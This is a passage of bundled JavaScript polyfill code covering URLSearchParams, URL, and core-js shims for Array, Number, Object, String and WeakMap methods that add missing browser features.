var checkIfURLSearchParamsSupported = function checkIfURLSearchParamsSupported() {
try {
var URLSearchParams = global.URLSearchParams;
return new URLSearchParams('?a=1').toString() === 'a=1' && typeof URLSearchParams.prototype.set === 'function' && typeof URLSearchParams.prototype.entries === 'function';
} catch (e) {
return false;
}
};
if (!checkIfURLSearchParamsSupported()) {
polyfillURLSearchParams();
}
var proto = global.URLSearchParams.prototype;
if (typeof proto.sort !== 'function') {
proto.sort = function () {
var _this = this;
var items = [];
this.forEach(function (value, name) {
items.push([name, value]);
if (!_this._entries) {
_this.delete(name);
}
});
items.sort(function (a, b) {
if (a[0] < b[0]) {
return -1;
} else if (a[0] > b[0]) {
return +1;
} else {
return 0;
}
});
if (_this._entries) {
// force reset because IE keeps keys index
_this._entries = {};
}
for (var i = 0; i < items.length; i++) {
this.append(items[i][0], items[i][1]);
}
};
}
if (typeof proto._fromString !== 'function') {
Object.defineProperty(proto, '_fromString', {
enumerable: false,
configurable: false,
writable: false,
value: function value(searchString) {
if (this._entries) {
this._entries = {};
} else {
var keys = [];
this.forEach(function (value, name) {
keys.push(name);
});
for (var i = 0; i < keys.length; i++) {
this.delete(keys[i]);
}
}
searchString = searchString.replace(/^\?/, '');
var attributes = searchString.split('&');
var attribute;
for (var i = 0; i < attributes.length; i++) {
attribute = attributes[i].split('=');
this.append(deserializeParam(attribute[0]), attribute.length > 1 ? deserializeParam(attribute[1]) : '');
}
}
});
} // HTMLAnchorElement
})(typeof commonjsGlobal !== 'undefined' ? commonjsGlobal : typeof window !== 'undefined' ? window : typeof self !== 'undefined' ? self : commonjsGlobal);
(function (global) {
/**
* Polyfill URL
*
* Inspired from : https://github.com/arv/DOM-URL-Polyfill/blob/master/src/url.js
*/
var checkIfURLIsSupported = function checkIfURLIsSupported() {
try {
var u = new global.URL('b', 'http://a');
u.pathname = 'c d';
return u.href === 'http://a/c%20d' && u.searchParams;
} catch (e) {
return false;
}
};
var polyfillURL = function polyfillURL() {
var _URL = global.URL;
var URL = function URL(url, base) {
if (typeof url !== 'string') url = String(url);
if (base && typeof base !== 'string') base = String(base); // Only create another document if the base is different from current location.
var doc = document,
baseElement;
if (base && (global.location === void 0 || base !== global.location.href)) {
base = base.toLowerCase();
doc = document.implementation.createHTMLDocument('');
baseElement = doc.createElement('base');
baseElement.href = base;
doc.head.appendChild(baseElement);
try {
if (baseElement.href.indexOf(base) !== 0) throw new Error(baseElement.href);
} catch (err) {
throw new Error('URL unable to set base ' + base + ' due to ' + err);
}
}
var anchorElement = doc.createElement('a');
anchorElement.href = url;
if (baseElement) {
doc.body.appendChild(anchorElement);
anchorElement.href = anchorElement.href; // force href to refresh
}
var inputElement = doc.createElement('input');
inputElement.type = 'url';
inputElement.value = url;
if (anchorElement.protocol === ':' || !/:/.test(anchorElement.href) || !inputElement.checkValidity() && !base) {
throw new TypeError('Invalid URL');
}
Object.defineProperty(this, '_anchorElement', {
value: anchorElement
}); // create a linked searchParams which reflect its changes on URL
var searchParams = new global.URLSearchParams(this.search);
var enableSearchUpdate = true;
var enableSearchParamsUpdate = true;
var _this = this;
['append', 'delete', 'set'].forEach(function (methodName) {
var method = searchParams[methodName];
searchParams[methodName] = function () {
method.apply(searchParams, arguments);
if (enableSearchUpdate) {
enableSearchParamsUpdate = false;
_this.search = searchParams.toString();
enableSearchParamsUpdate = true;
}
};
});
Object.defineProperty(this, 'searchParams', {
value: searchParams,
enumerable: true
});
var search = void 0;
Object.defineProperty(this, '_updateSearchParams', {
enumerable: false,
configurable: false,
writable: false,
value: function value() {
if (this.search !== search) {
search = this.search;
if (enableSearchParamsUpdate) {
enableSearchUpdate = false;
this.searchParams._fromString(this.search);
enableSearchUpdate = true;
}
}
}
});
};
var proto = URL.prototype;
var linkURLWithAnchorAttribute = function linkURLWithAnchorAttribute(attributeName) {
Object.defineProperty(proto, attributeName, {
get: function get() {
return this._anchorElement[attributeName];
},
set: function set(value) {
this._anchorElement[attributeName] = value;
},
enumerable: true
});
};
['hash', 'host', 'hostname', 'port', 'protocol'].forEach(function (attributeName) {
linkURLWithAnchorAttribute(attributeName);
});
Object.defineProperty(proto, 'search', {
get: function get() {
return this._anchorElement['search'];
},
set: function set(value) {
this._anchorElement['search'] = value;
this._updateSearchParams();
},
enumerable: true
});
Object.defineProperties(proto, {
'toString': {
get: function get() {
var _this = this;
return function () {
return _this.href;
};
}
},
'href': {
get: function get() {
return this._anchorElement.href.replace(/\?$/, '');
},
set: function set(value) {
this._anchorElement.href = value;
this._updateSearchParams();
},
enumerable: true
},
'pathname': {
get: function get() {
return this._anchorElement.pathname.replace(/(^\/?)/, '/');
},
set: function set(value) {
this._anchorElement.pathname = value;
},
enumerable: true
},
'origin': {
get: function get() {
// get expected port from protocol
var expectedPort = {
'http:': 80,
'https:': 443,
'ftp:': 21
}[this._anchorElement.protocol]; // add port to origin if, expected port is different than actual port
// and it is not empty f.e http://foo:8080
// 8080 != 80 && 8080 != ''
var addPortToOrigin = this._anchorElement.port != expectedPort && this._anchorElement.port !== '';
return this._anchorElement.protocol + '//' + this._anchorElement.hostname + (addPortToOrigin ? ':' + this._anchorElement.port : '');
},
enumerable: true
},
'password': {
// TODO
get: function get() {
return '';
},
set: function set(value) {},
enumerable: true
},
'username': {
// TODO
get: function get() {
return '';
},
set: function set(value) {},
enumerable: true
}
});
URL.createObjectURL = function (blob) {
return _URL.createObjectURL.apply(_URL, arguments);
};
URL.revokeObjectURL = function (url) {
return _URL.revokeObjectURL.apply(_URL, arguments);
};
global.URL = URL;
};
if (!checkIfURLIsSupported()) {
polyfillURL();
}
if (global.location !== void 0 && !('origin' in global.location)) {
var getOrigin = function getOrigin() {
return global.location.protocol + '//' + global.location.hostname + (global.location.port ? ':' + global.location.port : '');
};
try {
Object.defineProperty(global.location, 'origin', {
get: getOrigin,
enumerable: true
});
} catch (e) {
setInterval(function () {
global.location.origin = getOrigin();
}, 100);
}
}
})(typeof commonjsGlobal !== 'undefined' ? commonjsGlobal : typeof window !== 'undefined' ? window : typeof self !== 'undefined' ? self : commonjsGlobal);
var IS_CONCAT_SPREADABLE = wellKnownSymbol('isConcatSpreadable');
var MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF;
var MAXIMUM_ALLOWED_INDEX_EXCEEDED = 'Maximum allowed index exceeded';
// We can't use this feature detection in V8 since it causes
// deoptimization and serious performance degradation
// https://github.com/zloirock/core-js/issues/679
var IS_CONCAT_SPREADABLE_SUPPORT = engineV8Version >= 51 || !fails(function () {
var array = [];
array[IS_CONCAT_SPREADABLE] = false;
return array.concat()[0] !== array;
});
var SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('concat');
var isConcatSpreadable = function (O) {
if (!isObject(O)) return false;
var spreadable = O[IS_CONCAT_SPREADABLE];
return spreadable !== undefined ? !!spreadable : isArray(O);
};
var FORCED = !IS_CONCAT_SPREADABLE_SUPPORT || !SPECIES_SUPPORT;
// `Array.prototype.concat` method
// https://tc39.github.io/ecma262/#sec-array.prototype.concat
// with adding support of @@isConcatSpreadable and @@species
_export({ target: 'Array', proto: true, forced: FORCED }, {
concat: function concat(arg) { // eslint-disable-line no-unused-vars
var O = toObject(this);
var A = arraySpeciesCreate(O, 0);
var n = 0;
var i, k, length, len, E;
for (i = -1, length = arguments.length; i < length; i++) {
E = i === -1 ? O : arguments[i];
if (isConcatSpreadable(E)) {
len = toLength(E.length);
if (n + len > MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED);
for (k = 0; k < len; k++, n++) if (k in E) createProperty(A, n, E[k]);
} else {
if (n >= MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED);
createProperty(A, n++, E);
}
}
A.length = n;
return A;
}
});
var $filter = arrayIteration.filter;
var HAS_SPECIES_SUPPORT$1 = arrayMethodHasSpeciesSupport('filter');
// Edge 14- issue
var USES_TO_LENGTH$3 = arrayMethodUsesToLength('filter');
// `Array.prototype.filter` method
// https://tc39.github.io/ecma262/#sec-array.prototype.filter
// with adding support of @@species
_export({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT$1 || !USES_TO_LENGTH$3 }, {
filter: function filter(callbackfn /* , thisArg */) {
return $filter(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
var $find = arrayIteration.find;
var FIND = 'find';
var SKIPS_HOLES = true;
var USES_TO_LENGTH$4 = arrayMethodUsesToLength(FIND);
// Shouldn't skip holes
if (FIND in []) Array(1)[FIND](function () { SKIPS_HOLES = false; });
// `Array.prototype.find` method
// https://tc39.github.io/ecma262/#sec-array.prototype.find
_export({ target: 'Array', proto: true, forced: SKIPS_HOLES || !USES_TO_LENGTH$4 }, {
find: function find(callbackfn /* , that = undefined */) {
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
addToUnscopables(FIND);
var ITERATOR$7 = wellKnownSymbol('iterator');
var SAFE_CLOSING = false;
try {
var called = 0;
var iteratorWithReturn = {
next: function () {
return { done: !!called++ };
},
'return': function () {
SAFE_CLOSING = true;
}
};
iteratorWithReturn[ITERATOR$7] = function () {
return this;
};
// eslint-disable-next-line no-throw-literal
Array.from(iteratorWithReturn, function () { throw 2; });
} catch (error) { /* empty */ }
var checkCorrectnessOfIteration = function (exec, SKIP_CLOSING) {
if (!SKIP_CLOSING && !SAFE_CLOSING) return false;
var ITERATION_SUPPORT = false;
try {
var object = {};
object[ITERATOR$7] = function () {
return {
next: function () {
return { done: ITERATION_SUPPORT = true };
}
};
};
exec(object);
} catch (error) { /* empty */ }
return ITERATION_SUPPORT;
};
var INCORRECT_ITERATION = !checkCorrectnessOfIteration(function (iterable) {
Array.from(iterable);
});
// `Array.from` method
// https://tc39.github.io/ecma262/#sec-array.from
_export({ target: 'Array', stat: true, forced: INCORRECT_ITERATION }, {
from: arrayFrom
});
var $includes = arrayIncludes.includes;
var USES_TO_LENGTH$5 = arrayMethodUsesToLength('indexOf', { ACCESSORS: true, 1: 0 });
// `Array.prototype.includes` method
// https://tc39.github.io/ecma262/#sec-array.prototype.includes
_export({ target: 'Array', proto: true, forced: !USES_TO_LENGTH$5 }, {
includes: function includes(el /* , fromIndex = 0 */) {
return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);
}
});
// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables
addToUnscopables('includes');
var $map = arrayIteration.map;
var HAS_SPECIES_SUPPORT$2 = arrayMethodHasSpeciesSupport('map');
// FF49- issue
var USES_TO_LENGTH$6 = arrayMethodUsesToLength('map');
// `Array.prototype.map` method
// https://tc39.github.io/ecma262/#sec-array.prototype.map
// with adding support of @@species
_export({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT$2 || !USES_TO_LENGTH$6 }, {
map: function map(callbackfn /* , thisArg */) {
return $map(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
// makes subclassing work correct for wrapped built-ins
var inheritIfRequired = function ($this, dummy, Wrapper) {
var NewTarget, NewTargetPrototype;
if (
// it can work only with native `setPrototypeOf`
objectSetPrototypeOf &&
// we haven't completely correct pre-ES6 way for getting `new.target`, so use this
typeof (NewTarget = dummy.constructor) == 'function' &&
NewTarget !== Wrapper &&
isObject(NewTargetPrototype = NewTarget.prototype) &&
NewTargetPrototype !== Wrapper.prototype
) objectSetPrototypeOf($this, NewTargetPrototype);
return $this;
};
// a string of all valid unicode whitespaces
// eslint-disable-next-line max-len
var whitespaces = '\u0009\u000A\u000B\u000C\u000D\u0020\u00A0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF';
var whitespace = '[' + whitespaces + ']';
var ltrim = RegExp('^' + whitespace + whitespace + '*');
var rtrim = RegExp(whitespace + whitespace + '*$');
// `String.prototype.{ trim, trimStart, trimEnd, trimLeft, trimRight }` methods implementation
var createMethod$3 = function (TYPE) {
return function ($this) {
var string = String(requireObjectCoercible($this));
if (TYPE & 1) string = string.replace(ltrim, '');
if (TYPE & 2) string = string.replace(rtrim, '');
return string;
};
};
var stringTrim = {
// `String.prototype.{ trimLeft, trimStart }` methods
// https://tc39.github.io/ecma262/#sec-string.prototype.trimstart
start: createMethod$3(1),
// `String.prototype.{ trimRight, trimEnd }` methods
// https://tc39.github.io/ecma262/#sec-string.prototype.trimend
end: createMethod$3(2),
// `String.prototype.trim` method
// https://tc39.github.io/ecma262/#sec-string.prototype.trim
trim: createMethod$3(3)
};
var getOwnPropertyNames = objectGetOwnPropertyNames.f;
var getOwnPropertyDescriptor$2 = objectGetOwnPropertyDescriptor.f;
var defineProperty$5 = objectDefineProperty.f;
var trim = stringTrim.trim;
var NUMBER = 'Number';
var NativeNumber = global_1[NUMBER];
var NumberPrototype = NativeNumber.prototype;
// Opera ~12 has broken Object#toString
var BROKEN_CLASSOF = classofRaw(objectCreate(NumberPrototype)) == NUMBER;
// `ToNumber` abstract operation
// https://tc39.github.io/ecma262/#sec-tonumber
var toNumber = function (argument) {
var it = toPrimitive(argument, false);
var first, third, radix, maxCode, digits, length, index, code;
if (typeof it == 'string' && it.length > 2) {
it = trim(it);
first = it.charCodeAt(0);
if (first === 43 || first === 45) {
third = it.charCodeAt(2);
if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix
} else if (first === 48) {
switch (it.charCodeAt(1)) {
case 66: case 98: radix = 2; maxCode = 49; break; // fast equal of /^0b[01]+$/i
case 79: case 111: radix = 8; maxCode = 55; break; // fast equal of /^0o[0-7]+$/i
default: return +it;
}
digits = it.slice(2);
length = digits.length;
for (index = 0; index < length; index++) {
code = digits.charCodeAt(index);
// parseInt parses a string to a first unavailable symbol
// but ToNumber should return NaN if a string contains unavailable symbols
if (code < 48 || code > maxCode) return NaN;
} return parseInt(digits, radix);
}
} return +it;
};
// `Number` constructor
// https://tc39.github.io/ecma262/#sec-number-constructor
if (isForced_1(NUMBER, !NativeNumber(' 0o1') || !NativeNumber('0b1') || NativeNumber('+0x1'))) {
var NumberWrapper = function Number(value) {
var it = arguments.length < 1 ? 0 : value;
var dummy = this;
return dummy instanceof NumberWrapper
// check on 1..constructor(foo) case
&& (BROKEN_CLASSOF ? fails(function () { NumberPrototype.valueOf.call(dummy); }) : classofRaw(dummy) != NUMBER)
? inheritIfRequired(new NativeNumber(toNumber(it)), dummy, NumberWrapper) : toNumber(it);
};
for (var keys$1 = descriptors ? getOwnPropertyNames(NativeNumber) : (
// ES3:
'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +
// ES2015 (in case, if modules with ES2015 Number statics required before):
'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' +
'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger'
).split(','), j = 0, key; keys$1.length > j; j++) {
if (has(NativeNumber, key = keys$1[j]) && !has(NumberWrapper, key)) {
defineProperty$5(NumberWrapper, key, getOwnPropertyDescriptor$2(NativeNumber, key));
}
}
NumberWrapper.prototype = NumberPrototype;
NumberPrototype.constructor = NumberWrapper;
redefine(global_1, NUMBER, NumberWrapper);
}
var FAILS_ON_PRIMITIVES = fails(function () { objectKeys(1); });
// `Object.keys` method
// https://tc39.github.io/ecma262/#sec-object.keys
_export({ target: 'Object', stat: true, forced: FAILS_ON_PRIMITIVES }, {
keys: function keys(it) {
return objectKeys(toObject(it));
}
});
var propertyIsEnumerable = objectPropertyIsEnumerable.f;
// `Object.{ entries, values }` methods implementation
var createMethod$4 = function (TO_ENTRIES) {
return function (it) {
var O = toIndexedObject(it);
var keys = objectKeys(O);
var length = keys.length;
var i = 0;
var result = [];
var key;
while (length > i) {
key = keys[i++];
if (!descriptors || propertyIsEnumerable.call(O, key)) {
result.push(TO_ENTRIES ? [key, O[key]] : O[key]);
}
}
return result;
};
};
var objectToArray = {
// `Object.entries` method
// https://tc39.github.io/ecma262/#sec-object.entries
entries: createMethod$4(true),
// `Object.values` method
// https://tc39.github.io/ecma262/#sec-object.values
values: createMethod$4(false)
};
var $values = objectToArray.values;
// `Object.values` method
// https://tc39.github.io/ecma262/#sec-object.values
_export({ target: 'Object', stat: true }, {
values: function values(O) {
return $values(O);
}
});
var notARegexp = function (it) {
if (isRegexp(it)) {
throw TypeError("The method doesn't accept regular expressions");
} return it;
};
var MATCH$1 = wellKnownSymbol('match');
var correctIsRegexpLogic = function (METHOD_NAME) {
var regexp = /./;
try {
'/./'[METHOD_NAME](regexp);
} catch (error1) {
try {
regexp[MATCH$1] = false;
return '/./'[METHOD_NAME](regexp);
} catch (error2) { /* empty */ }
} return false;
};
// `String.prototype.includes` method
// https://tc39.github.io/ecma262/#sec-string.prototype.includes
_export({ target: 'String', proto: true, forced: !correctIsRegexpLogic('includes') }, {
includes: function includes(searchString /* , position = 0 */) {
return !!~String(requireObjectCoercible(this))
.indexOf(notARegexp(searchString), arguments.length > 1 ? arguments[1] : undefined);
}
});
var freezing = !fails(function () {
return Object.isExtensible(Object.preventExtensions({}));
});
var internalMetadata = createCommonjsModule(function (module) {
var defineProperty = objectDefineProperty.f;
var METADATA = uid('meta');
var id = 0;
var isExtensible = Object.isExtensible || function () {
return true;
};
var setMetadata = function (it) {
defineProperty(it, METADATA, { value: {
objectID: 'O' + ++id, // object ID
weakData: {} // weak collections IDs
} });
};
var fastKey = function (it, create) {
// return a primitive with prefix
if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;
if (!has(it, METADATA)) {
// can't set metadata to uncaught frozen object
if (!isExtensible(it)) return 'F';
// not necessary to add metadata
if (!create) return 'E';
// add missing metadata
setMetadata(it);
// return object ID
} return it[METADATA].objectID;
};
var getWeakData = function (it, create) {
if (!has(it, METADATA)) {
// can't set metadata to uncaught frozen object
if (!isExtensible(it)) return true;
// not necessary to add metadata
if (!create) return false;
// add missing metadata
setMetadata(it);
// return the store of weak collections IDs
} return it[METADATA].weakData;
};
// add metadata on freeze-family methods calling
var onFreeze = function (it) {
if (freezing && meta.REQUIRED && isExtensible(it) && !has(it, METADATA)) setMetadata(it);
return it;
};
var meta = module.exports = {
REQUIRED: false,
fastKey: fastKey,
getWeakData: getWeakData,
onFreeze: onFreeze
};
hiddenKeys[METADATA] = true;
});
var internalMetadata_1 = internalMetadata.REQUIRED;
var internalMetadata_2 = internalMetadata.fastKey;
var internalMetadata_3 = internalMetadata.getWeakData;
var internalMetadata_4 = internalMetadata.onFreeze;
var Result = function (stopped, result) {
this.stopped = stopped;
this.result = result;
};
var iterate = function (iterable, unboundFunction, options) {
var that = options && options.that;
var AS_ENTRIES = !!(options && options.AS_ENTRIES);
var IS_ITERATOR = !!(options && options.IS_ITERATOR);
var INTERRUPTED = !!(options && options.INTERRUPTED);
var fn = functionBindContext(unboundFunction, that, 1 + AS_ENTRIES + INTERRUPTED);
var iterator, iterFn, index, length, result, next, step;
var stop = function (condition) {
if (iterator) iteratorClose(iterator);
return new Result(true, condition);
};
var callFn = function (value) {
if (AS_ENTRIES) {
anObject(value);
return INTERRUPTED ? fn(value[0], value[1], stop) : fn(value[0], value[1]);
} return INTERRUPTED ? fn(value, stop) : fn(value);
};
if (IS_ITERATOR) {
iterator = iterable;
} else {
iterFn = getIteratorMethod(iterable);
if (typeof iterFn != 'function') throw TypeError('Target is not iterable');
// optimisation for array iterators
if (isArrayIteratorMethod(iterFn)) {
for (index = 0, length = toLength(iterable.length); length > index; index++) {
result = callFn(iterable[index]);
if (result && result instanceof Result) return result;
} return new Result(false);
}
iterator = iterFn.call(iterable);
}
next = iterator.next;
while (!(step = next.call(iterator)).done) {
try {
result = callFn(step.value);
} catch (error) {
iteratorClose(iterator);
throw error;
}
if (typeof result == 'object' && result && result instanceof Result) return result;
} return new Result(false);
};
var collection = function (CONSTRUCTOR_NAME, wrapper, common) {
var IS_MAP = CONSTRUCTOR_NAME.indexOf('Map') !== -1;
var IS_WEAK = CONSTRUCTOR_NAME.indexOf('Weak') !== -1;
var ADDER = IS_MAP ? 'set' : 'add';
var NativeConstructor = global_1[CONSTRUCTOR_NAME];
var NativePrototype = NativeConstructor && NativeConstructor.prototype;
var Constructor = NativeConstructor;
var exported = {};
var fixMethod = function (KEY) {
var nativeMethod = NativePrototype[KEY];
redefine(NativePrototype, KEY,
KEY == 'add' ? function add(value) {
nativeMethod.call(this, value === 0 ? 0 : value);
return this;
} : KEY == 'delete' ? function (key) {
return IS_WEAK && !isObject(key) ? false : nativeMethod.call(this, key === 0 ? 0 : key);
} : KEY == 'get' ? function get(key) {
return IS_WEAK && !isObject(key) ? undefined : nativeMethod.call(this, key === 0 ? 0 : key);
} : KEY == 'has' ? function has(key) {
return IS_WEAK && !isObject(key) ? false : nativeMethod.call(this, key === 0 ? 0 : key);
} : function set(key, value) {
nativeMethod.call(this, key === 0 ? 0 : key, value);
return this;
}
);
};
// eslint-disable-next-line max-len
if (isForced_1(CONSTRUCTOR_NAME, typeof NativeConstructor != 'function' || !(IS_WEAK || NativePrototype.forEach && !fails(function () {
new NativeConstructor().entries().next();
})))) {
// create collection constructor
Constructor = common.getConstructor(wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER);
internalMetadata.REQUIRED = true;
} else if (isForced_1(CONSTRUCTOR_NAME, true)) {
var instance = new Constructor();
// early implementations not supports chaining
var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance;
// V8 ~ Chromium 40- weak-collections throws on primitives, but should return false
var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); });
// most early implementations doesn't supports iterables, most modern - not close it correctly
// eslint-disable-next-line no-new
var ACCEPT_ITERABLES = checkCorrectnessOfIteration(function (iterable) { new NativeConstructor(iterable); });
// for early implementations -0 and +0 not the same
var BUGGY_ZERO = !IS_WEAK && fails(function () {
// V8 ~ Chromium 42- fails only with 5+ elements
var $instance = new NativeConstructor();
var index = 5;
while (index--) $instance[ADDER](index, index);
return !$instance.has(-0);
});
if (!ACCEPT_ITERABLES) {
Constructor = wrapper(function (dummy, iterable) {
anInstance(dummy, Constructor, CONSTRUCTOR_NAME);
var that = inheritIfRequired(new NativeConstructor(), dummy, Constructor);
if (iterable != undefined) iterate(iterable, that[ADDER], { that: that, AS_ENTRIES: IS_MAP });
return that;
});
Constructor.prototype = NativePrototype;
NativePrototype.constructor = Constructor;
}
if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) {
fixMethod('delete');
fixMethod('has');
IS_MAP && fixMethod('get');
}
if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER);
// weak collections should not contains .clear method
if (IS_WEAK && NativePrototype.clear) delete NativePrototype.clear;
}
exported[CONSTRUCTOR_NAME] = Constructor;
_export({ global: true, forced: Constructor != NativeConstructor }, exported);
setToStringTag(Constructor, CONSTRUCTOR_NAME);
if (!IS_WEAK) common.setStrong(Constructor, CONSTRUCTOR_NAME, IS_MAP);
return Constructor;
};
var getWeakData = internalMetadata.getWeakData;
var setInternalState$5 = internalState.set;
var internalStateGetterFor = internalState.getterFor;
var find$1 = arrayIteration.find;
var findIndex = arrayIteration.findIndex;
var id$1 = 0;
// fallback for uncaught frozen keys
var uncaughtFrozenStore = function (store) {
return store.frozen || (store.frozen = new UncaughtFrozenStore());
};
var UncaughtFrozenStore = function () {
this.entries = [];
};
var findUncaughtFrozen = function (store, key) {
return find$1(store.entries, function (it) {
return it[0] === key;
});
};
UncaughtFrozenStore.prototype = {
get: function (key) {
var entry = findUncaughtFrozen(this, key);
if (entry) return entry[1];
},
has: function (key) {
return !!findUncaughtFrozen(this, key);
},
set: function (key, value) {
var entry = findUncaughtFrozen(this, key);
if (entry) entry[1] = value;
else this.entries.push([key, value]);
},
'delete': function (key) {
var index = findIndex(this.entries, function (it) {
return it[0] === key;
});
if (~index) this.entries.splice(index, 1);
return !!~index;
}
};
var collectionWeak = {
getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) {
var C = wrapper(function (that, iterable) {
anInstance(that, C, CONSTRUCTOR_NAME);
setInternalState$5(that, {
type: CONSTRUCTOR_NAME,
id: id$1++,
frozen: undefined
});
if (iterable != undefined) iterate(iterable, that[ADDER], { that: that, AS_ENTRIES: IS_MAP });
});
var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME);
var define = function (that, key, value) {
var state = getInternalState(that);
var data = getWeakData(anObject(key), true);
if (data === true) uncaughtFrozenStore(state).set(key, value);
else data[state.id] = value;
return that;
};
redefineAll(C.prototype, {
// 23.3.3.2 WeakMap.prototype.delete(key)
// 23.4.3.3 WeakSet.prototype.delete(value)
'delete': function (key) {
var state = getInternalState(this);
if (!isObject(key)) return false;
var data = getWeakData(key);
if (data === true) return uncaughtFrozenStore(state)['delete'](key);
return data && has(data, state.id) && delete data[state.id];
},
// 23.3.3.4 WeakMap.prototype.has(key)
// 23.4.3.4 WeakSet.prototype.has(value)
has: function has$1(key) {
var state = getInternalState(this);
if (!isObject(key)) return false;
var data = getWeakData(key);
if (data === true) return uncaughtFrozenStore(state).has(key);
return data && has(data, state.id);
}
});
redefineAll(C.prototype, IS_MAP ? {
// 23.3.3.3 WeakMap.prototype.get(key)
get: function get(key) {
var state = getInternalState(this);
if (isObject(key)) {
var data = getWeakData(key);
if (data === true) return uncaughtFrozenStore(state).get(key);
return data ? data[state.id] : undefined;
}
},
// 23.3.3.5 WeakMap.prototype.set(key, value)
set: function set(key, value) {
return define(this, key, value);
}
} : {
// 23.4.3.1 WeakSet.prototype.add(value)
add: function add(value) {
return define(this, value, true);
}
});
return C;
}
};
var es_weakMap = createCommonjsModule(function (module) {
var enforceIternalState = internalState.enforce;
var IS_IE11 = !global_1.ActiveXObject && 'ActiveXObject' in global_1;
var isExtensible = Object.isExtensible;
var InternalWeakMap;
var wrapper = function (init) {
return function WeakMap() {
return init(this, arguments.length ? arguments[0] : undefined);
};
};
// `WeakMap` constructor
// https://tc39.github.io/ecma262/#sec-weakmap-constructor
var $WeakMap = module.exports = collection('WeakMap', wrapper, collectionWeak);
// IE11 WeakMap frozen keys fix
// We can't use feature detection because it crash some old IE builds
// https://github.com/zloirock/core-js/issues/485
if (nativeWeakMap && IS_IE11) {
InternalWeakMap = collectionWeak.getConstructor(wrapper, 'WeakMap', true);
internalMetadata.REQUIRED = true;
var WeakMapPrototype = $WeakMap.prototype;
var nativeDelete = WeakMapPrototype['delete'];
var nativeHas = WeakMapPrototype.has;
var nativeGet = WeakMapPrototype.get;
var nativeSet = WeakMapPrototype.set;
redefineAll(WeakMapPrototype, {
'delete': function (key) {
if (isObject(key) && !isExtensible(key)) {
var state = enforceIternalState(this);
if (!state.frozen) state.frozen = new InternalWeakMap();
return nativeDelete.call(this, key) || state.frozen['delete'](key);
} return nativeDelete.call(this, key);
},
has: function has(key) {
if (isObject(key) && !isExtensible(key)) {
var state = enforceIternalState(this);
if (!state.frozen) state.frozen = new InternalWeakMap();
return nativeHas.call(this, key) || state.frozen.has(key);
} return nativeHas.call(this, key);
},
get: function get(key) {
if (isObject(key) && !isExtensible(key)) {
var state = enforceIternalState(this);
if (!state.frozen) state.frozen = new InternalWeakMap();
return nativeHas.call(this, key) ? nativeGet.call(this, key) : state.frozen.get(key);
} return nativeGet.call(this, key);
},
set: function set(key, value) {
if (isObject(key) && !isExtensible(key)) {
var state = enforceIternalState(this);
if (!state.frozen) state.frozen = new InternalWeakMap();
nativeHas.call(this, key) ? nativeSet.call(this, key, value) : state.frozen.set(key, value);
} else nativeSet.call(this, key, value);
return this;
}
});
}
});
var $every = arrayIteration.every;
var STRICT_METHOD$3 = arrayMethodIsStrict('every');
var USES_TO_LENGTH$7 = arrayMethodUsesToLength('every');
// `Array.prototype.every` method
// https://tc39.github.io/ecma262/#sec-array.prototype.every
_export({ target: 'Array', proto: true, forced: !STRICT_METHOD$3 || !USES_TO_LENGTH$7 }, {
every: function every(callbackfn /* , thisArg */) {
return $every(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
// `Object.assign` method
// https://tc39.github.io/ecma262/#sec-object.assign
_export({ target: 'Object', stat: true, forced: Object.assign !== objectAssign }, {
assign: objectAssign
});
var non = '\u200B\u0085\u180E';
// check that a method works with the correct list
// of whitespaces and has a correct name
var stringTrimForced = function (METHOD_NAME) {
return fails(function () {
return !!whitespaces[METHOD_NAME]() || non[METHOD_NAME]() != non || whitespaces[METHOD_NAME].name !== METHOD_NAME;
});
};
var $trim = stringTrim.trim;
// `String.prototype.trim` method
// https://tc39.github.io/ecma262/#sec-string.prototype.trim
_export({ target: 'String', proto: true, forced: stringTrimForced('trim') }, {
trim: function trim() {
return $trim(this);
}
});
var $some = arrayIteration.some;
var STRICT_METHOD$4 = arrayMethodIsStrict('some');
var USES_TO_LENGTH$8 = arrayMethodUsesToLength('some');
// `Array.prototype.some` method
// https://tc39.github.io/ecma262/#sec-array.prototype.some
_export({ target: 'Array', proto: true, forced: !STRICT_METHOD$4 || !USES_TO_LENGTH$8 }, {
some: function some(callbackfn /* , thisArg */) {
return $some(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
// `thisNumberValue` abstract operation
// https://tc39.github.io/ecma262/#sec-thisnumbervalue
var thisNumberValue = function (value) {
if (typeof value != 'number' && classofRaw(value) != 'Number') {
throw TypeError('Incorrect invocation');
}
return +value;
};
// `String.prototype.repeat` method implementation
// https://tc39.github.io/ecma262/#sec-string.prototype.repeat
var stringRepeat = ''.repeat || function repeat(count) {
var str = String(requireObjectCoercible(this));
var result = '';
var n = toInteger(count);
if (n < 0 || n == Infinity) throw RangeError('Wrong number of repetitions');
